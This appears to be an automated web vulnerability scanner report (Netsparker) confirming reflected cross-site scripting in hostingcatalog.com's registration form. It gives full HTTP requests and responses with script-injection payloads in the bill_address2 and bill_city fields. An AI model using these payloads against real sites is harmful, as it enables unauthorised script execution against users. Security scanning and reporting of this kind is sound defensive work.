copy_from_cont POST 1
bill_address POST 3
bill_address2 POST '"--></style></script><script>alert(0x001F1D)</script>
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F1D)%3c%2fscript%3e&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:02:45 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61F315BF61F83502C27C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61FF8429540E09C71BC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F7B1F1DC19E6709AEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FD2F3EA97D0F2719CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61F3A6A20A83C1B81066F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61FF00E9F190E92D69EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61FAF6B733715026F8CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FBD936DD5B3249F006F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61F62D5F9BE9036BCB5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61FD94D11B69BEEC8716F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61FB99233850ED59B06C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61F264A02D2F8669525C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61F48F4A66855B705D5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F795D6A392C114D75C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F09907B2F5C62D8E3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61F9F73B55CFCA549EEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F7824A9ECA795AE136F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61FDFABD114BCC4E5D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61FD091B4B02F67B8346F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST '"--></style></script><script>alert(0x001F1E)</script>
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F1E)%3c%2fscript%3e&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:02:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61FECCC40EDC6649575C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61FA84A6D8FE0B659D36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61FAC4912FBF3D9EF7EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FFDCFB4DB2471BEB5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61F47C10DC5676849A86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61F239E7BDF1339538EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61F67C1BEA21752D0DCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FD1AABEDBCA14C8446F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61FEB488BB68029A6ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61F2786CC2F3FEEAE706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61F41DEF2265740833DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61F40629B0919CF09EEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61F4DAF7ADF46C3C04CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FA7D92E331BEB8934C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F4497428138557271C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61FFF3FFFC494CA74F6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F709CD775B8485B186F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61F579DE341ECFD20966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61FF9A1CB19D81B19306F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
